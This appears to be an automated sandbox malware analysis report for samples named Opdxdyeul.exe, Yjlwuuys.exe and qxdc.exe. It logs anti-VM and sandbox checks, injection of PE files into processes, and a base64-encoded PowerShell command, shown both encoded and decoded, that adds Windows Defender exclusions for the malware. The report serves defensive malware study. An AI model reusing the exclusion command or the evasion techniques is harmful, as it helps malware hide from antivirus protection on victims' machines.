Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\colsv\qxdc.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Opdxdyeul.exe PID: 6488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qxdc.exe PID: 3392, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Yjlwuuys.exe PID: 4896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Yjlwuuys.exe PID: 2168, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qxdc.exe PID: 6664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: qxdc.exe PID: 6684, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Opdxdyeul.exe, 00000000.00000002.2338555032.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000008.00000002.2480913690.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 0000000E.00000002.2571975141.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000015.00000002.2818927936.00000000029F8000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000018.00000002.3414550975.0000000002BE8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL0SELECT * FROM WIN32_BIOS8UNEXPECTED WMI QUERY FAILURE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Opdxdyeul.exe	RDTSC instruction interceptor: First address: 402CE0 second address: 402CE0 instructions: 0x00000000 rdtsc 0x00000002 push ebp 0x00000003 mov ebp, esp 0x00000005 push ebx 0x00000006 push edi 0x00000007 push esi 0x00000008 imul eax, eax, 001E7319h 0x0000000e add eax, 3CFB5543h 0x00000013 rcr eax, 10h 0x00000016 add eax, esi 0x00000018 imul eax, edi 0x0000001b xor edx, edx 0x0000001d mul dword ptr [ebp+08h] 0x00000020 mov eax, edx 0x00000022 pop esi 0x00000023 pop edi 0x00000024 pop ebx 0x00000025 leave 0x00000026 retn 0004h 0x00000029 lea eax, dword ptr [eax+00000300h] 0x0000002f push eax 0x00000030 push 00405BFCh 0x00000035 call 00007FAFECAEA815h 0x0000003a push ebp 0x0000003b mov ebp, esp 0x0000003d push ebx 0x0000003e push edi 0x0000003f push esi 0x00000040 mov edi, dword ptr [ebp+08h] 0x00000043 push 000000FFh 0x00000048 call 00007FAFECAE911Eh 0x0000004d rdtsc
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	RDTSC instruction interceptor: First address: 402CE0 second address: 402CE0 instructions: 0x00000000 rdtsc 0x00000002 push ebp 0x00000003 mov ebp, esp 0x00000005 push ebx 0x00000006 push edi 0x00000007 push esi 0x00000008 imul eax, eax, 001E7319h 0x0000000e add eax, 3CFB5543h 0x00000013 rcr eax, 10h 0x00000016 add eax, esi 0x00000018 imul eax, edi 0x0000001b xor edx, edx 0x0000001d mul dword ptr [ebp+08h] 0x00000020 mov eax, edx 0x00000022 pop esi 0x00000023 pop edi 0x00000024 pop ebx 0x00000025 leave 0x00000026 retn 0004h 0x00000029 lea eax, dword ptr [eax+00000300h] 0x0000002f push eax 0x00000030 push 00405BFCh 0x00000035 call 00007FAFED15E825h 0x0000003a push ebp 0x0000003b mov ebp, esp 0x0000003d push ebx 0x0000003e push edi 0x0000003f push esi 0x00000040 mov edi, dword ptr [ebp+08h] 0x00000043 push 000000FFh 0x00000048 call 00007FAFED15D12Eh 0x0000004d rdtsc
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	RDTSC instruction interceptor: First address: 402CE0 second address: 402CE0 instructions: 0x00000000 rdtsc 0x00000002 push ebp 0x00000003 mov ebp, esp 0x00000005 push ebx 0x00000006 push edi 0x00000007 push esi 0x00000008 imul eax, eax, 001E7319h 0x0000000e add eax, 3CFB5543h 0x00000013 rcr eax, 10h 0x00000016 add eax, esi 0x00000018 imul eax, edi 0x0000001b xor edx, edx 0x0000001d mul dword ptr [ebp+08h] 0x00000020 mov eax, edx 0x00000022 pop esi 0x00000023 pop edi 0x00000024 pop ebx 0x00000025 leave 0x00000026 retn 0004h 0x00000029 lea eax, dword ptr [eax+00000300h] 0x0000002f push eax 0x00000030 push 00405BFCh 0x00000035 call 00007FAFECAEA815h 0x0000003a push ebp 0x0000003b mov ebp, esp 0x0000003d push ebx 0x0000003e push edi 0x0000003f push esi 0x00000040 mov edi, dword ptr [ebp+08h] 0x00000043 push 000000FFh 0x00000048 call 00007FAFECAE911Eh 0x0000004d rdtsc
Source: C:\ProgramData\colsv\qxdc.exe	RDTSC instruction interceptor: First address: 402CE0 second address: 402CE0 instructions: 0x00000000 rdtsc 0x00000002 push ebp 0x00000003 mov ebp, esp 0x00000005 push ebx 0x00000006 push edi 0x00000007 push esi 0x00000008 imul eax, eax, 001E7319h 0x0000000e add eax, 3CFB5543h 0x00000013 rcr eax, 10h 0x00000016 add eax, esi 0x00000018 imul eax, edi 0x0000001b xor edx, edx 0x0000001d mul dword ptr [ebp+08h] 0x00000020 mov eax, edx 0x00000022 pop esi 0x00000023 pop edi 0x00000024 pop ebx 0x00000025 leave 0x00000026 retn 0004h 0x00000029 lea eax, dword ptr [eax+00000300h] 0x0000002f push eax 0x00000030 push 00405BFCh 0x00000035 call 00007FAFED15E825h 0x0000003a push ebp 0x0000003b mov ebp, esp 0x0000003d push ebx 0x0000003e push edi 0x0000003f push esi 0x00000040 mov edi, dword ptr [ebp+08h] 0x00000043 push 000000FFh 0x00000048 call 00007FAFED15D12Eh 0x0000004d rdtsc
Source: C:\ProgramData\colsv\qxdc.exe	RDTSC instruction interceptor: First address: 402CE0 second address: 402CE0 instructions: 0x00000000 rdtsc 0x00000002 push ebp 0x00000003 mov ebp, esp 0x00000005 push ebx 0x00000006 push edi 0x00000007 push esi 0x00000008 imul eax, eax, 001E7319h 0x0000000e add eax, 3CFB5543h 0x00000013 rcr eax, 10h 0x00000016 add eax, esi 0x00000018 imul eax, edi 0x0000001b xor edx, edx 0x0000001d mul dword ptr [ebp+08h] 0x00000020 mov eax, edx 0x00000022 pop esi 0x00000023 pop edi 0x00000024 pop ebx 0x00000025 leave 0x00000026 retn 0004h 0x00000029 lea eax, dword ptr [eax+00000300h] 0x0000002f push eax 0x00000030 push 00405BFCh 0x00000035 call 00007FAFECAEA815h 0x0000003a push ebp 0x0000003b mov ebp, esp 0x0000003d push ebx 0x0000003e push edi 0x0000003f push esi 0x00000040 mov edi, dword ptr [ebp+08h] 0x00000043 push 000000FFh 0x00000048 call 00007FAFECAE911Eh 0x0000004d rdtsc

Source: C:\Users\user\Desktop\Opdxdyeul.exe	Memory allocated: 1290000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Memory allocated: 2F50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Memory allocated: 2E50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Memory allocated: 1460000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Memory allocated: 2FF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Memory allocated: 4FF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Memory allocated: F00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Memory allocated: 2A00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Memory allocated: 4A00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Memory allocated: 2800000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Memory allocated: 2A90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Memory allocated: 2800000 memory reserve \| memory write watch
Source: C:\ProgramData\colsv\qxdc.exe	Memory allocated: 1080000 memory reserve \| memory write watch
Source: C:\ProgramData\colsv\qxdc.exe	Memory allocated: 2980000 memory reserve \| memory write watch
Source: C:\ProgramData\colsv\qxdc.exe	Memory allocated: 4980000 memory reserve \| memory write watch
Source: C:\ProgramData\colsv\qxdc.exe	Memory allocated: 10B0000 memory reserve \| memory write watch
Source: C:\ProgramData\colsv\qxdc.exe	Memory allocated: 2B70000 memory reserve \| memory write watch
Source: C:\ProgramData\colsv\qxdc.exe	Memory allocated: 1140000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\Opdxdyeul.exe

Code function: 7_2_00402CE0 rdtsc

7_2_00402CE0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7721			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1928			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5356	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe TID: 3064	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5280	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe TID: 4160	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe TID: 5372	Thread sleep time: -60000s >= -30000s
Source: C:\ProgramData\colsv\qxdc.exe TID: 3392	Thread sleep time: -60000s >= -30000s
Source: C:\ProgramData\colsv\qxdc.exe TID: 3392	Thread sleep time: -660000s >= -30000s
Source: C:\ProgramData\colsv\qxdc.exe TID: 6920	Thread sleep time: -60000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Thread delayed: delay time: 60000
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Thread delayed: delay time: 60000
Source: C:\ProgramData\colsv\qxdc.exe	Thread delayed: delay time: 60000
Source: C:\ProgramData\colsv\qxdc.exe	Thread delayed: delay time: 60000
Source: C:\ProgramData\colsv\qxdc.exe	Thread delayed: delay time: 60000

Source: qxdc.exe, 00000018.00000002.3414550975.0000000002BE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: svchost.exe, 00000010.00000002.3454108755.000001DFB6E2D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.3454150734.000001DFB6E5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.3452112435.000001DFB182B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: qxdc.exe, 00000018.00000002.3414550975.0000000002BE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: qxdc.exe, 00000017.00000002.3450945343.000000000145B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllC

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Opdxdyeul.exe

Code function: 7_2_00402CE0 rdtsc

7_2_00402CE0

Source: C:\Users\user\Desktop\Opdxdyeul.exe

Code function: 7_2_00402D09 LdrLoadDll,

7_2_00402D09

Source: C:\Users\user\Desktop\Opdxdyeul.exe

Code function: 7_2_00402D09 mov eax, dword ptr fs:[00000030h]

7_2_00402D09

Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Process token adjusted: Debug
Source: C:\ProgramData\colsv\qxdc.exe	Process token adjusted: Debug
Source: C:\ProgramData\colsv\qxdc.exe	Process token adjusted: Debug
Source: C:\ProgramData\colsv\qxdc.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\Opdxdyeul.exe

Code function: 7_2_00401000 EntryPoint,CreateThread,SetUnhandledExceptionFilter,GetModuleFileNameW,EnumWindows,GetEnvironmentVariableW,CreateDirectoryW,CopyFileW,CopyFileW,Sleep,CreateMutexW,ExitProcess,

7_2_00401000

Source: C:\Users\user\Desktop\Opdxdyeul.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\engineer\Desktop\Opdxdyeul.exe; Add-MpPreference -ExclusionProcess C:\Users\engineer\Desktop\Opdxdyeul.exe;Add-MpPreference -ExclusionPath C:\Users\engineer\AppData\Roaming\Yjlwuuys.exe; Add-MpPreference -ExclusionProcess C:\Users\engineer\AppData\Roaming\Yjlwuuys.exe
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\engineer\Desktop\Opdxdyeul.exe; Add-MpPreference -ExclusionProcess C:\Users\engineer\Desktop\Opdxdyeul.exe;Add-MpPreference -ExclusionPath C:\Users\engineer\AppData\Roaming\Yjlwuuys.exe; Add-MpPreference -ExclusionProcess C:\Users\engineer\AppData\Roaming\Yjlwuuys.exe			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Opdxdyeul.exe	Memory written: C:\Users\user\Desktop\Opdxdyeul.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Memory written: C:\ProgramData\colsv\qxdc.exe base: 3C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Memory written: C:\Users\user\AppData\Roaming\Yjlwuuys.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Memory written: C:\Users\user\AppData\Roaming\Yjlwuuys.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\colsv\qxdc.exe	Memory written: C:\ProgramData\colsv\qxdc.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\colsv\qxdc.exe	Memory written: C:\ProgramData\colsv\qxdc.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABPAHAAZAB4AGQAeQBlAHUAbAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwARABlAHMAawB0AG8AcABcAE8AcABkAHgAZAB5AGUAdQBsAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABZAGoAbAB3AHUAdQB5AHMALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAWQBqAGwAdwB1AHUAeQBzAC4AZQB4AGUA	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process created: C:\Users\user\Desktop\Opdxdyeul.exe "C:\Users\user\Desktop\Opdxdyeul.exe"	Jump to behavior
Source: C:\ProgramData\colsv\qxdc.exe	Process created: C:\ProgramData\colsv\qxdc.exe "C:\ProgramData\colsv\qxdc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Process created: C:\Users\user\AppData\Roaming\Yjlwuuys.exe "C:\Users\user\AppData\Roaming\Yjlwuuys.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Process created: C:\Users\user\AppData\Roaming\Yjlwuuys.exe "C:\Users\user\AppData\Roaming\Yjlwuuys.exe"
Source: C:\ProgramData\colsv\qxdc.exe	Process created: C:\ProgramData\colsv\qxdc.exe "C:\ProgramData\colsv\qxdc.exe"
Source: C:\ProgramData\colsv\qxdc.exe	Process created: C:\ProgramData\colsv\qxdc.exe "C:\ProgramData\colsv\qxdc.exe"

Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcaguabgbnagkabgblaguacgbcaeqazqbzagsadabvahaaxabpahaazab4agqaeqblahuabaauaguaeabladsaiabbagqazaatae0acabqahiazqbmaguacgblag4aywblacaalqbfahgaywbsahuacwbpag8abgbqahiabwbjaguacwbzacaaqwa6afwavqbzaguacgbzafwazqbuagcaaqbuaguazqbyafwarablahmaawb0ag8acabcae8acabkahgazab5aguadqbsac4azqb4aguaowbbagqazaatae0acabqahiazqbmaguacgblag4aywblacaalqbfahgaywbsahuacwbpag8abgbqageadaboacaaqwa6afwavqbzaguacgbzafwazqbuagcaaqbuaguazqbyafwaqqbwahaarabhahqayqbcafiabwbhag0aaqbuagcaxabzagoabab3ahuadqb5ahmalgblahgazqa7acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabyag8aywblahmacwagaemaogbcafuacwblahiacwbcaguabgbnagkabgblaguacgbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwawqbqagwadwb1ahuaeqbzac4azqb4agua
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcaguabgbnagkabgblaguacgbcaeqazqbzagsadabvahaaxabpahaazab4agqaeqblahuabaauaguaeabladsaiabbagqazaatae0acabqahiazqbmaguacgblag4aywblacaalqbfahgaywbsahuacwbpag8abgbqahiabwbjaguacwbzacaaqwa6afwavqbzaguacgbzafwazqbuagcaaqbuaguazqbyafwarablahmaawb0ag8acabcae8acabkahgazab5aguadqbsac4azqb4aguaowbbagqazaatae0acabqahiazqbmaguacgblag4aywblacaalqbfahgaywbsahuacwbpag8abgbqageadaboacaaqwa6afwavqbzaguacgbzafwazqbuagcaaqbuaguazqbyafwaqqbwahaarabhahqayqbcafiabwbhag0aaqbuagcaxabzagoabab3ahuadqb5ahmalgblahgazqa7acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabyag8aywblahmacwagaemaogbcafuacwblahiacwbcaguabgbnagkabgblaguacgbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwawqbqagwadwb1ahuaeqbzac4azqb4agua			Jump to behavior

Source: C:\ProgramData\colsv\qxdc.exe

Code function: 8_2_0597D7B8 cpuid

8_2_0597D7B8

Source: C:\Users\user\Desktop\Opdxdyeul.exe	Queries volume information: C:\Users\user\Desktop\Opdxdyeul.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
